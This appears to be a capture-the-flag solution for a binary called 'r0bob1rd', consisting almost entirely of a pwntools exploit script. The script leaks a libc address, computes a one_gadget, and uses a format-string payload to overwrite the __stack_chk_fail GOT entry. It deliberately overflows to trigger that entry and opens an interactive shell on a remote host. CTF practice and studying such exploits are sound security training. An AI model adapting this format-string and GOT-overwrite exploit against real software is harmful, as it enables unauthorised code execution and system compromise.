Skip to content

R0bob1rd

#!/usr/bin/env python3
from pwn import *

exe = ELF("./r0bob1rd")
libc = ELF("./glibc/libc.so.6")

context.binary = exe
context.log_level = 'debug'
context.terminal = ["tmux", "splitw", "-h"]

gdb_script = '''
b main
continue
'''

def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.GDB:
            gdb.attach(r, gdbscript=gdb_script)
    else:
        r = remote("154.57.164.72", 31149)

    return r

io = conn()


io.recvline(b'> ')
io.sendline(b'14')
io.recvuntil(b'You\'ve chosen: ')

libc_leak = u64(io.recvline().strip(b'\n').ljust(8, b'\x00'))
libc.address = libc_leak - 0x1ec980
one_gadget = libc.address + 0xe3b01

payload = fmtstr_payload(8, {exe.got['__stack_chk_fail']: one_gadget}, write_size='short')
payload += b"A" * (106 - len(payload))

io.sendlineafter(b'> ', payload)

io.interactive()